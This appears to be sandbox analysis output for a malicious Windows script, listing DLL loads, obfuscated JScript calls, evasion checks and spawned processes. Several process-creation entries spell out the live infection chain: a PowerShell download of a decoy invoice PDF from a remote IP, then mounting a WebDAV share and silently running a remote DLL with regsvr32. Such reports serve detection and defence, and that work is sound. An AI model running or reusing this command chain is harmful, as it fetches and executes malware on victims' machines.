Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2696.js.csv");ITextStream.WriteLine(" entry:8801 f:kzbijd");ITextStream.WriteLine(" exec:2 f:kzbijd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4651			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4942			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep count: 4651 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep count: 4942 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7740	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 928	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000008.00000002.2971374238.00000264BC62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000002.1741603409.000001D6F0C20000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1737776737.000001D6F0C7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1741854362.000001D6F0C7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2972724449.00000264C1C5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

